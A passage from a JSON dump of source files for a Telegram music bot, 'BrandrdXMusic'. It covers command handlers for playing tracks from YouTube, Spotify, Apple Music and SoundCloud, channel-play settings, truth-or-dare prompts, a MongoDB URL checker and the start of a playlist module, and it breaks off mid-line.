    "content": "from pyrogram import Client, filters\nfrom pyrogram.types import Message\nfrom pymongo import MongoClient\nimport re\nfrom BrandrdXMusic import app as Hotty\n\n\nmongo_url_pattern = re.compile(r'mongodb(?:\\+srv)?:\\/\\/[^\\s]+')\n\n\n@Hotty.on_message(filters.command(\"mongochk\"))\nasync def mongo_command(client, message: Message):\n    if len(message.command) < 2:\n        await message.reply(\"Please enter your MongoDB URL after the command. Example: /mongochk your_mongodb_url\")\n        return\n\n    mongo_url = message.command[1]\n    if re.match(mongo_url_pattern, mongo_url):\n        try:\n            # Attempt to connect to the MongoDB instance\n            client = MongoClient(mongo_url, serverSelectionTimeoutMS=5000)\n            client.server_info()  # Will cause an exception if connection fails\n            await message.reply(\"𝗠𝗼𝗻𝗴𝗼𝗗𝗕 𝗨𝗥𝗟 𝗶𝘀 𝘃𝗮𝗹𝗶𝗱 𝗮𝗻𝗱 𝗰𝗼𝗻𝗻𝗲𝗰𝘁𝗶𝗼𝗻 𝘀𝘂𝗰𝗰𝗲𝘀𝘀𝗳𝘂𝗹✅\")\n        except Exception as e:\n            await message.reply(f\"Failed to connect to MongoDB: {e}\")\n    else:\n        await message.reply(\"𝗜𝗻𝘃𝗮𝗹𝗶𝗱 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 𝗨𝗥𝗟 𝗳𝗼𝗿𝗺𝗮𝘁💔\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/seeker.py",
    "content": "import asyncio\n\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.database import get_active_chats, is_music_playing\n\n\nasync def timer():\n    while not await asyncio.sleep(1):\n        active_chats = await get_active_chats()\n        for chat_id in active_chats:\n            if not await is_music_playing(chat_id):\n                continue\n            playing = db.get(chat_id)\n            if not playing:\n                continue\n            duration = int(playing[0][\"seconds\"])\n            if duration == 0:\n                continue\n            if db[chat_id][0][\"played\"] >= duration:\n                continue\n            db[chat_id][0][\"played\"] += 1\n\n\nasyncio.create_task(timer())\n"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/truth_dare.py",
    "content": "from pyrogram import Client, filters\nimport requests\nimport random\nfrom BrandrdXMusic import app\n\n# Truth or Dare API URLs\ntruth_api_url = \"https://api.truthordarebot.xyz/v1/truth\"\ndare_api_url = \"https://api.truthordarebot.xyz/v1/dare\"\n\n\n@app.on_message(filters.command(\"truth\"))\ndef get_truth(client, message):\n    try:\n        # Make a GET request to the Truth API\n        response = requests.get(truth_api_url)\n        if response.status_code == 200:\n            truth_question = response.json()[\"question\"]\n            message.reply_text(f\"Truth question:\\n\\n{truth_question}\")\n        else:\n            message.reply_text(\"Failed to fetch a truth question. Please try again later.\")\n    except Exception as e:\n        message.reply_text(\"An error occurred while fetching a truth question. Please try again later.\")\n\n@app.on_message(filters.command(\"dare\"))\ndef get_dare(client, message):\n    try:\n        # Make a GET request to the Dare API\n        response = requests.get(dare_api_url)\n        if response.status_code == 200:\n            dare_question = response.json()[\"question\"]\n            message.reply_text(f\"Dare question:\\n\\n{dare_question}\")\n        else:\n            message.reply_text(\"Failed to fetch a dare question. Please try again later.\")\n    except Exception as e:\n        message.reply_text(\"An error occurred while fetching a dare question. Please try again later.\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/watcher.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty\n\nwelcome = 20\nclose = 30\n\n\n@app.on_message(filters.video_chat_started, group=welcome)\n@app.on_message(filters.video_chat_ended, group=close)\nasync def welcome(_, message: Message):\n    await Hotty.stop_stream_force(message.chat.id)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/play/channel.py",
    "content": "from pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter, ChatMemberStatus, ChatType\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import set_cmode\nfrom BrandrdXMusic.utils.decorators.admins import AdminActual\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"channelplay\"]) & filters.group & ~BANNED_USERS)\n@AdminActual\nasync def playmode_(client, message: Message, _):\n    if len(message.command) < 2:\n        return await message.reply_text(_[\"cplay_1\"].format(message.chat.title))\n    query = message.text.split(None, 2)[1].lower().strip()\n    if (str(query)).lower() == \"disable\":\n        await set_cmode(message.chat.id, None)\n        return await message.reply_text(_[\"cplay_7\"])\n    elif str(query) == \"linked\":\n        chat = await app.get_chat(message.chat.id)\n        if chat.linked_chat:\n            chat_id = chat.linked_chat.id\n            await set_cmode(message.chat.id, chat_id)\n            return await message.reply_text(\n                _[\"cplay_3\"].format(chat.linked_chat.title, chat.linked_chat.id)\n            )\n        else:\n            return await message.reply_text(_[\"cplay_2\"])\n    else:\n        try:\n            chat = await app.get_chat(query)\n        except:\n            return await message.reply_text(_[\"cplay_4\"])\n        if chat.type != ChatType.CHANNEL:\n            return await message.reply_text(_[\"cplay_5\"])\n        try:\n            async for user in app.get_chat_members(\n                chat.id, filter=ChatMembersFilter.ADMINISTRATORS\n            ):\n                if user.status == ChatMemberStatus.OWNER:\n                    cusn = user.user.username\n                    crid = user.user.id\n        except:\n            return await message.reply_text(_[\"cplay_4\"])\n        if crid != message.from_user.id:\n            return await message.reply_text(_[\"cplay_6\"].format(chat.title, cusn))\n        await set_cmode(message.chat.id, chat.id)\n        return await message.reply_text(_[\"cplay_3\"].format(chat.title, chat.id))\n"
  },
  {
    "path": "BrandrdXMusic/plugins/play/live.py",
    "content": "from pyrogram import filters\n\nfrom BrandrdXMusic import YouTube, app\nfrom BrandrdXMusic.utils.channelplay import get_channeplayCB\nfrom BrandrdXMusic.utils.decorators.language import languageCB\nfrom BrandrdXMusic.utils.stream.stream import stream\nfrom config import BANNED_USERS\n\n\n@app.on_callback_query(filters.regex(\"LiveStream\") & ~BANNED_USERS)\n@languageCB\nasync def play_live_stream(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    vidid, user_id, mode, cplay, fplay = callback_request.split(\"|\")\n    if CallbackQuery.from_user.id != int(user_id):\n        try:\n            return await CallbackQuery.answer(_[\"playcb_1\"], show_alert=True)\n        except:\n            return\n    try:\n        chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)\n    except:\n        return\n    video = True if mode == \"v\" else None\n    user_name = CallbackQuery.from_user.first_name\n    await CallbackQuery.message.delete()\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    mystic = await CallbackQuery.message.reply_text(\n        _[\"play_2\"].format(channel) if channel else _[\"play_1\"]\n    )\n    try:\n        details, track_id = await YouTube.track(vidid, True)\n    except:\n        return await mystic.edit_text(_[\"play_3\"])\n    ffplay = True if fplay == \"f\" else None\n    if not details[\"duration_min\"]:\n        try:\n            await stream(\n                _,\n                mystic,\n                user_id,\n                details,\n                chat_id,\n                user_name,\n                CallbackQuery.message.chat.id,\n                video,\n                streamtype=\"live\",\n                forceplay=ffplay,\n            )\n        except Exception as e:\n            ex_type = type(e).__name__\n            err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n            return await mystic.edit_text(err)\n    else:\n        return await mystic.edit_text(\"» ɴᴏᴛ ᴀ ʟɪᴠᴇ sᴛʀᴇᴀᴍ.\")\n    await mystic.delete()\n"
  },
  {
    "path": "BrandrdXMusic/plugins/play/play.py",
    "content": "import random\nimport string\n\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardMarkup, InputMediaPhoto, Message\nfrom pytgcalls.exceptions import NoActiveGroupCall\n\nimport config\nfrom BrandrdXMusic import Apple, Resso, SoundCloud, Spotify, Telegram, YouTube, app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.utils import seconds_to_min, time_to_seconds\nfrom BrandrdXMusic.utils.channelplay import get_channeplayCB\nfrom BrandrdXMusic.utils.decorators.language import languageCB\nfrom BrandrdXMusic.utils.decorators.play import PlayWrapper\nfrom BrandrdXMusic.utils.formatters import formats\nfrom BrandrdXMusic.utils.inline import (\n    botplaylist_markup,\n    livestream_markup,\n    playlist_markup,\n    slider_markup,\n    track_markup,\n)\nfrom BrandrdXMusic.utils.logger import play_logs\nfrom BrandrdXMusic.utils.stream.stream import stream\nfrom config import BANNED_USERS, lyrical\n\n\n@app.on_message(\n    filters.command(\n        [\n            \"play\",\n            \"vplay\",\n            \"cplay\",\n            \"cvplay\",\n            \"playforce\",\n            \"vplayforce\",\n            \"cplayforce\",\n            \"cvplayforce\",\n        ]\n    )\n    & filters.group\n    & ~BANNED_USERS\n)\n@PlayWrapper\nasync def play_commnd(\n    client,\n    message: Message,\n    _,\n    chat_id,\n    video,\n    channel,\n    playmode,\n    url,\n    fplay,\n):\n    mystic = await message.reply_text(\n        _[\"play_2\"].format(channel) if channel else _[\"play_1\"]\n    )\n    plist_id = None\n    slider = None\n    plist_type = None\n    spotify = None\n    user_id = message.from_user.id\n    user_name = message.from_user.first_name\n    audio_telegram = (\n        (message.reply_to_message.audio or message.reply_to_message.voice)\n        if message.reply_to_message\n        else None\n    )\n    video_telegram = (\n        (message.reply_to_message.video or message.reply_to_message.document)\n        if message.reply_to_message\n        else None\n    )\n    if audio_telegram:\n        if audio_telegram.file_size > 104857600:\n            return await mystic.edit_text(_[\"play_5\"])\n        duration_min = seconds_to_min(audio_telegram.duration)\n        if (audio_telegram.duration) > config.DURATION_LIMIT:\n            return await mystic.edit_text(\n                _[\"play_6\"].format(config.DURATION_LIMIT_MIN, app.mention)\n            )\n        file_path = await Telegram.get_filepath(audio=audio_telegram)\n        if await Telegram.download(_, message, mystic, file_path):\n            message_link = await Telegram.get_link(message)\n            file_name = await Telegram.get_filename(audio_telegram, audio=True)\n            dur = await Telegram.get_duration(audio_telegram, file_path)\n            details = {\n                \"title\": file_name,\n                \"link\": message_link,\n                \"path\": file_path,\n                \"dur\": dur,\n            }\n\n            try:\n                await stream(\n                    _,\n                    mystic,\n                    user_id,\n                    details,\n                    chat_id,\n                    user_name,\n                    message.chat.id,\n                    streamtype=\"telegram\",\n                    forceplay=fplay,\n                )\n            except Exception as e:\n                ex_type = type(e).__name__\n                err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n                return await mystic.edit_text(err)\n            return await mystic.delete()\n        return\n    elif video_telegram:\n        if message.reply_to_message.document:\n            try:\n                ext = video_telegram.file_name.split(\".\")[-1]\n                if ext.lower() not in formats:\n                    return await mystic.edit_text(\n                        _[\"play_7\"].format(f\"{' | '.join(formats)}\")\n                    )\n            except:\n                return await mystic.edit_text(\n                    _[\"play_7\"].format(f\"{' | '.join(formats)}\")\n                )\n        if video_telegram.file_size > config.TG_VIDEO_FILESIZE_LIMIT:\n            return await mystic.edit_text(_[\"play_8\"])\n        file_path = await Telegram.get_filepath(video=video_telegram)\n        if await Telegram.download(_, message, mystic, file_path):\n            message_link = await Telegram.get_link(message)\n            file_name = await Telegram.get_filename(video_telegram)\n            dur = await Telegram.get_duration(video_telegram, file_path)\n            details = {\n                \"title\": file_name,\n                \"link\": message_link,\n                \"path\": file_path,\n                \"dur\": dur,\n            }\n            try:\n                await stream(\n                    _,\n                    mystic,\n                    user_id,\n                    details,\n                    chat_id,\n                    user_name,\n                    message.chat.id,\n                    video=True,\n                    streamtype=\"telegram\",\n                    forceplay=fplay,\n                )\n            except Exception as e:\n                ex_type = type(e).__name__\n                err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n                return await mystic.edit_text(err)\n            return await mystic.delete()\n        return\n    elif url:\n        if await YouTube.exists(url):\n            if \"playlist\" in url:\n                try:\n                    details = await YouTube.playlist(\n                        url,\n                        config.PLAYLIST_FETCH_LIMIT,\n                        message.from_user.id,\n                    )\n                except:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"playlist\"\n                plist_type = \"yt\"\n                if \"&\" in url:\n                    plist_id = (url.split(\"=\")[1]).split(\"&\")[0]\n                else:\n                    plist_id = url.split(\"=\")[1]\n                img = config.PLAYLIST_IMG_URL\n                cap = _[\"play_9\"]\n            else:\n                try:\n                    details, track_id = await YouTube.track(url)\n                except:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"youtube\"\n                img = details[\"thumb\"]\n                cap = _[\"play_10\"].format(\n                    details[\"title\"],\n                    details[\"duration_min\"],\n                )\n        elif await Spotify.valid(url):\n            spotify = True\n            if not config.SPOTIFY_CLIENT_ID and not config.SPOTIFY_CLIENT_SECRET:\n                return await mystic.edit_text(\n                    \"» sᴘᴏᴛɪғʏ ɪs ɴᴏᴛ sᴜᴘᴘᴏʀᴛᴇᴅ ʏᴇᴛ.\\n\\nᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ ʟᴀᴛᴇʀ.\"\n                )\n            if \"track\" in url:\n                try:\n                    details, track_id = await Spotify.track(url)\n                except:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"youtube\"\n                img = details[\"thumb\"]\n                cap = _[\"play_10\"].format(details[\"title\"], details[\"duration_min\"])\n            elif \"playlist\" in url:\n                try:\n                    details, plist_id = await Spotify.playlist(url)\n                except Exception:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"playlist\"\n                plist_type = \"spplay\"\n                img = config.SPOTIFY_PLAYLIST_IMG_URL\n                cap = _[\"play_11\"].format(app.mention, message.from_user.mention)\n            elif \"album\" in url:\n                try:\n                    details, plist_id = await Spotify.album(url)\n                except:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"playlist\"\n                plist_type = \"spalbum\"\n                img = config.SPOTIFY_ALBUM_IMG_URL\n                cap = _[\"play_11\"].format(app.mention, message.from_user.mention)\n            elif \"artist\" in url:\n                try:\n                    details, plist_id = await Spotify.artist(url)\n                except:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"playlist\"\n                plist_type = \"spartist\"\n                img = config.SPOTIFY_ARTIST_IMG_URL\n                cap = _[\"play_11\"].format(message.from_user.first_name)\n            else:\n                return await mystic.edit_text(_[\"play_15\"])\n        elif await Apple.valid(url):\n            if \"album\" in url:\n                try:\n                    details, track_id = await Apple.track(url)\n                except:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"youtube\"\n                img = details[\"thumb\"]\n                cap = _[\"play_10\"].format(details[\"title\"], details[\"duration_min\"])\n            elif \"playlist\" in url:\n                spotify = True\n                try:\n                    details, plist_id = await Apple.playlist(url)\n                except:\n                    return await mystic.edit_text(_[\"play_3\"])\n                streamtype = \"playlist\"\n                plist_type = \"apple\"\n                cap = _[\"play_12\"].format(app.mention, message.from_user.mention)\n                img = url\n            else:\n                return await mystic.edit_text(_[\"play_3\"])\n        elif await Resso.valid(url):\n            try:\n                details, track_id = await Resso.track(url)\n            except:\n                return await mystic.edit_text(_[\"play_3\"])\n            streamtype = \"youtube\"\n            img = details[\"thumb\"]\n            cap = _[\"play_10\"].format(details[\"title\"], details[\"duration_min\"])\n        elif await SoundCloud.valid(url):\n            try:\n                details, track_path = await SoundCloud.download(url)\n            except:\n                return await mystic.edit_text(_[\"play_3\"])\n            duration_sec = details[\"duration_sec\"]\n            if duration_sec > config.DURATION_LIMIT:\n                return await mystic.edit_text(\n                    _[\"play_6\"].format(\n                        config.DURATION_LIMIT_MIN,\n                        app.mention,\n                    )\n                )\n            try:\n                await stream(\n                    _,\n                    mystic,\n                    user_id,\n                    details,\n                    chat_id,\n                    user_name,\n                    message.chat.id,\n                    streamtype=\"soundcloud\",\n                    forceplay=fplay,\n                )\n            except Exception as e:\n                ex_type = type(e).__name__\n                err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n                return await mystic.edit_text(err)\n            return await mystic.delete()\n        else:\n            try:\n                await Hotty.stream_call(url)\n            except NoActiveGroupCall:\n                await mystic.edit_text(_[\"black_9\"])\n                return await app.send_message(\n                    chat_id=config.LOGGER_ID,\n                    text=_[\"play_17\"],\n                )\n            except Exception as e:\n                return await mystic.edit_text(_[\"general_2\"].format(type(e).__name__))\n            await mystic.edit_text(_[\"str_2\"])\n            try:\n                await stream(\n                    _,\n                    mystic,\n                    message.from_user.id,\n                    url,\n                    chat_id,\n                    message.from_user.first_name,\n                    message.chat.id,\n                    video=video,\n                    streamtype=\"index\",\n                    forceplay=fplay,\n                )\n            except Exception as e:\n                ex_type = type(e).__name__\n                err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n                return await mystic.edit_text(err)\n            return await play_logs(message, streamtype=\"M3u8 or Index Link\")\n    else:\n        if len(message.command) < 2:\n            buttons = botplaylist_markup(_)\n            return await mystic.edit_text(\n                _[\"play_18\"],\n                reply_markup=InlineKeyboardMarkup(buttons),\n            )\n        slider = True\n        query = message.text.split(None, 1)[1]\n        if \"-v\" in query:\n            query = query.replace(\"-v\", \"\")\n        try:\n            details, track_id = await YouTube.track(query)\n        except:\n            return await mystic.edit_text(_[\"play_3\"])\n        streamtype = \"youtube\"\n    if str(playmode) == \"Direct\":\n        if not plist_type:\n            if details[\"duration_min\"]:\n                duration_sec = time_to_seconds(details[\"duration_min\"])\n                if duration_sec > config.DURATION_LIMIT:\n                    return await mystic.edit_text(\n                        _[\"play_6\"].format(config.DURATION_LIMIT_MIN, app.mention)\n                    )\n            else:\n                buttons = livestream_markup(\n                    _,\n                    track_id,\n                    user_id,\n                    \"v\" if video else \"a\",\n                    \"c\" if channel else \"g\",\n                    \"f\" if fplay else \"d\",\n                )\n                return await mystic.edit_text(\n                    _[\"play_13\"],\n                    reply_markup=InlineKeyboardMarkup(buttons),\n                )\n        try:\n            await stream(\n                _,\n                mystic,\n                user_id,\n                details,\n                chat_id,\n                user_name,\n                message.chat.id,\n                video=video,\n                streamtype=streamtype,\n                spotify=spotify,\n                forceplay=fplay,\n            )\n        except Exception as e:\n            ex_type = type(e).__name__\n            err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n            return await mystic.edit_text(err)\n        await mystic.delete()\n        return await play_logs(message, streamtype=streamtype)\n    else:\n        if plist_type:\n            ran_hash = \"\".join(\n                random.choices(string.ascii_uppercase + string.digits, k=10)\n            )\n            lyrical[ran_hash] = plist_id\n            buttons = playlist_markup(\n                _,\n                ran_hash,\n                message.from_user.id,\n                plist_type,\n                \"c\" if channel else \"g\",\n                \"f\" if fplay else \"d\",\n            )\n            await mystic.delete()\n            await message.reply_photo(\n                photo=img,\n                caption=cap,\n                reply_markup=InlineKeyboardMarkup(buttons),\n            )\n            return await play_logs(message, streamtype=f\"Playlist : {plist_type}\")\n        else:\n            if slider:\n                buttons = slider_markup(\n                    _,\n                    track_id,\n                    message.from_user.id,\n                    query,\n                    0,\n                    \"c\" if channel else \"g\",\n                    \"f\" if fplay else \"d\",\n                )\n                await mystic.delete()\n                await message.reply_photo(\n                    photo=details[\"thumb\"],\n                    caption=_[\"play_10\"].format(\n                        details[\"title\"].title(),\n                        details[\"duration_min\"],\n                    ),\n                    reply_markup=InlineKeyboardMarkup(buttons),\n                )\n                return await play_logs(message, streamtype=f\"Searched on Youtube\")\n            else:\n                buttons = track_markup(\n                    _,\n                    track_id,\n                    message.from_user.id,\n                    \"c\" if channel else \"g\",\n                    \"f\" if fplay else \"d\",\n                )\n                await mystic.delete()\n                await message.reply_photo(\n                    photo=img,\n                    caption=cap,\n                    reply_markup=InlineKeyboardMarkup(buttons),\n                )\n                return await play_logs(message, streamtype=f\"URL Searched Inline\")\n\n\n@app.on_callback_query(filters.regex(\"MusicStream\") & ~BANNED_USERS)\n@languageCB\nasync def play_music(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    vidid, user_id, mode, cplay, fplay = callback_request.split(\"|\")\n    if CallbackQuery.from_user.id != int(user_id):\n        try:\n            return await CallbackQuery.answer(_[\"playcb_1\"], show_alert=True)\n        except:\n            return\n    try:\n        chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)\n    except:\n        return\n    user_name = CallbackQuery.from_user.first_name\n    try:\n        await CallbackQuery.message.delete()\n        await CallbackQuery.answer()\n    except:\n        pass\n    mystic = await CallbackQuery.message.reply_text(\n        _[\"play_2\"].format(channel) if channel else _[\"play_1\"]\n    )\n    try:\n        details, track_id = await YouTube.track(vidid, True)\n    except:\n        return await mystic.edit_text(_[\"play_3\"])\n    if details[\"duration_min\"]:\n        duration_sec = time_to_seconds(details[\"duration_min\"])\n        if duration_sec > config.DURATION_LIMIT:\n            return await mystic.edit_text(\n                _[\"play_6\"].format(config.DURATION_LIMIT_MIN, app.mention)\n            )\n    else:\n        buttons = livestream_markup(\n            _,\n            track_id,\n            CallbackQuery.from_user.id,\n            mode,\n            \"c\" if cplay == \"c\" else \"g\",\n            \"f\" if fplay else \"d\",\n        )\n        return await mystic.edit_text(\n            _[\"play_13\"],\n            reply_markup=InlineKeyboardMarkup(buttons),\n        )\n    video = True if mode == \"v\" else None\n    ffplay = True if fplay == \"f\" else None\n    try:\n        await stream(\n            _,\n            mystic,\n            CallbackQuery.from_user.id,\n            details,\n            chat_id,\n            user_name,\n            CallbackQuery.message.chat.id,\n            video,\n            streamtype=\"youtube\",\n            forceplay=ffplay,\n        )\n    except Exception as e:\n        ex_type = type(e).__name__\n        err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n        return await mystic.edit_text(err)\n    return await mystic.delete()\n\n\n@app.on_callback_query(filters.regex(\"AnonymousAdmin\") & ~BANNED_USERS)\nasync def piyush_check(client, CallbackQuery):\n    try:\n        await CallbackQuery.answer(\n            \"» ʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ :\\n\\nᴏᴘᴇɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ sᴇᴛᴛɪɴɢs.\\n-> ᴀᴅᴍɪɴɪsᴛʀᴀᴛᴏʀs\\n-> ᴄʟɪᴄᴋ ᴏɴ ʏᴏᴜʀ ɴᴀᴍᴇ\\n-> ᴜɴᴄʜᴇᴄᴋ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ᴘᴇʀᴍɪssɪᴏɴs.\",\n            show_alert=True,\n        )\n    except:\n        pass\n\n\n@app.on_callback_query(filters.regex(\"HottyPlaylists\") & ~BANNED_USERS)\n@languageCB\nasync def play_playlists_command(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    (\n        videoid,\n        user_id,\n        ptype,\n        mode,\n        cplay,\n        fplay,\n    ) = callback_request.split(\"|\")\n    if CallbackQuery.from_user.id != int(user_id):\n        try:\n            return await CallbackQuery.answer(_[\"playcb_1\"], show_alert=True)\n        except:\n            return\n    try:\n        chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)\n    except:\n        return\n    user_name = CallbackQuery.from_user.first_name\n    await CallbackQuery.message.delete()\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    mystic = await CallbackQuery.message.reply_text(\n        _[\"play_2\"].format(channel) if channel else _[\"play_1\"]\n    )\n    videoid = lyrical.get(videoid)\n    video = True if mode == \"v\" else None\n    ffplay = True if fplay == \"f\" else None\n    spotify = True\n    if ptype == \"yt\":\n        spotify = False\n        try:\n            result = await YouTube.playlist(\n                videoid,\n                config.PLAYLIST_FETCH_LIMIT,\n                CallbackQuery.from_user.id,\n                True,\n            )\n        except:\n            return await mystic.edit_text(_[\"play_3\"])\n    if ptype == \"spplay\":\n        try:\n            result, spotify_id = await Spotify.playlist(videoid)\n        except:\n            return await mystic.edit_text(_[\"play_3\"])\n    if ptype == \"spalbum\":\n        try:\n            result, spotify_id = await Spotify.album(videoid)\n        except:\n            return await mystic.edit_text(_[\"play_3\"])\n    if ptype == \"spartist\":\n        try:\n            result, spotify_id = await Spotify.artist(videoid)\n        except:\n            return await mystic.edit_text(_[\"play_3\"])\n    if ptype == \"apple\":\n        try:\n            result, apple_id = await Apple.playlist(videoid, True)\n        except:\n            return await mystic.edit_text(_[\"play_3\"])\n    try:\n        await stream(\n            _,\n            mystic,\n            user_id,\n            result,\n            chat_id,\n            user_name,\n            CallbackQuery.message.chat.id,\n            video,\n            streamtype=\"playlist\",\n            spotify=spotify,\n            forceplay=ffplay,\n        )\n    except Exception as e:\n        ex_type = type(e).__name__\n        err = e if ex_type == \"AssistantErr\" else _[\"general_2\"].format(ex_type)\n        return await mystic.edit_text(err)\n    return await mystic.delete()\n\n\n@app.on_callback_query(filters.regex(\"slider\") & ~BANNED_USERS)\n@languageCB\nasync def slider_queries(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    (\n        what,\n        rtype,\n        query,\n        user_id,\n        cplay,\n        fplay,\n    ) = callback_request.split(\"|\")\n    if CallbackQuery.from_user.id != int(user_id):\n        try:\n            return await CallbackQuery.answer(_[\"playcb_1\"], show_alert=True)\n        except:\n            return\n    what = str(what)\n    rtype = int(rtype)\n    if what == \"F\":\n        if rtype == 9:\n            query_type = 0\n        else:\n            query_type = int(rtype + 1)\n        try:\n            await CallbackQuery.answer(_[\"playcb_2\"])\n        except:\n            pass\n        title, duration_min, thumbnail, vidid = await YouTube.slider(query, query_type)\n        buttons = slider_markup(_, vidid, user_id, query, query_type, cplay, fplay)\n        med = InputMediaPhoto(\n            media=thumbnail,\n            caption=_[\"play_10\"].format(\n                title.title(),\n                duration_min,\n            ),\n        )\n        return await CallbackQuery.edit_message_media(\n            media=med, reply_markup=InlineKeyboardMarkup(buttons)\n        )\n    if what == \"B\":\n        if rtype == 0:\n            query_type = 9\n        else:\n            query_type = int(rtype - 1)\n        try:\n            await CallbackQuery.answer(_[\"playcb_2\"])\n        except:\n            pass\n        title, duration_min, thumbnail, vidid = await YouTube.slider(query, query_type)\n        buttons = slider_markup(_, vidid, user_id, query, query_type, cplay, fplay)\n        med = InputMediaPhoto(\n            media=thumbnail,\n            caption=_[\"play_10\"].format(\n                title.title(),\n                duration_min,\n            ),\n        )\n        return await CallbackQuery.edit_message_media(\n            media=med, reply_markup=InlineKeyboardMarkup(buttons)\n)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/play/playlist.py",
    "content": "import asyncio\nimport os\nimport time\nfrom random import randint\nfrom time import time\nfrom typing import Dict, List, Union\n\nimport requests\nfrom pykeyboard import InlineKeyboard\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message\nfrom youtube_search import YoutubeSearch\n\nfrom config import BANNED_USERS, SERVER_PLAYLIST_LIMIT\nfrom BrandrdXMusic import Carbon, app\nfrom BrandrdXMusic.utils.decorators.language import language, languageCB\nfrom BrandrdXMusic.utils.inline.playlist import (\n    botplaylist_markup,\n    get_playlist_markup,\n    warning_markup,\n)\nfrom BrandrdXMusic.utils.pastebin import HottyBin\nfrom BrandrdXMusic.utils.stream.stream import stream\n\n# Define a dictionary to track the last message timestamp for each user\nuser_last_message_time = {}\nuser_command_count = {}\n# Define the threshold for command spamming (e.g., 20 commands within 60 seconds)\nSPAM_THRESHOLD = 2\nSPAM_WINDOW_SECONDS = 5\nfrom BrandrdXMusic.core.mongo import mongodb\n\nplaylistdb = mongodb.playlist\nplaylist = []\n# Playlist Databse\n\n\nasync def _get_playlists(chat_id: int) -> Dict[str, int]:\n    _notes = await playlistdb.find_one({\"chat_id\": chat_id})\n    if not _notes:\n        return {}\n    return _notes[\"notes\"]\n\n\nasync def get_playlist_names(chat_id: int) -> List[str]:\n    _notes = []\n    for note in await _get_playlists(chat_id):\n        _notes.append(note)\n    return _notes\n\n\nasync def get_playlist(chat_id: int, name: str) -> Union[bool, dict]:\n    name = name\n    _notes = await _get_playlists(chat_id)\n    if name in _notes:\n        return _notes[name]\n    else:\n        return False\n\n\nasync def save_playlist(chat_id: int, name: str, note: dict):\n    name = name\n    _notes = await _get_playlists(chat_id)\n    _notes[name] = note\n    await playlistdb.update_one(\n        {\"chat_id\": chat_id}, {\"$set\": {\"notes\": _notes}}, upsert=True\n    )\n\n\nasync def delete_playlist(chat_id: int, name: str) -> bool:\n    notesd = await _get_playlists(chat_id)\n    name = name\n    if name in notesd:\n        del notesd[name]\n        await playlistdb.update_one(\n            {\"chat_id\": chat_id},\n            {\"$set\": {\"notes\": notesd}},\n            upsert=True,\n        )\n        return True\n    return False\n\n\n# Command\nADDPLAYLIST_COMMAND = \"addplaylist\"\nPLAYLIST_COMMAND = \"playlist\"\nDELETEPLAYLIST_COMMAND = \"delplaylist\"\n\n\n@app.on_message(filters.command(PLAYLIST_COMMAND) & ~BANNED_USERS)\n@language\nasync def check_playlist(client, message: Message, _):\n    user_id = message.from_user.id\n    current_time = time()\n    # Update the last message timestamp for the user\n    last_message_time = user_last_message_time.get(user_id, 0)\n\n    if current_time - last_message_time < SPAM_WINDOW_SECONDS:\n        # If less than the spam window time has passed since the last message\n        user_last_message_time[user_id] = current_time\n        user_command_count[user_id] = user_command_count.get(user_id, 0) + 1\n        if user_command_count[user_id] > SPAM_THRESHOLD:\n            # Block the user if they exceed the threshold\n            hu = await message.reply_text(\n                f\"**{message.from_user.mention} ᴘʟᴇᴀsᴇ ᴅᴏɴᴛ ᴅᴏ sᴘᴀᴍ, ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 5 sᴇᴄ**\"\n            )\n            await asyncio.sleep(3)\n            await hu.delete()\n            return\n    else:\n        # If more than the spam window time has passed, reset the command count and update the message timestamp\n        user_command_count[user_id] = 1\n        user_last_message_time[user_id] = current_time\n\n    _playlist = await get_playlist_names(message.from_user.id)\n    if 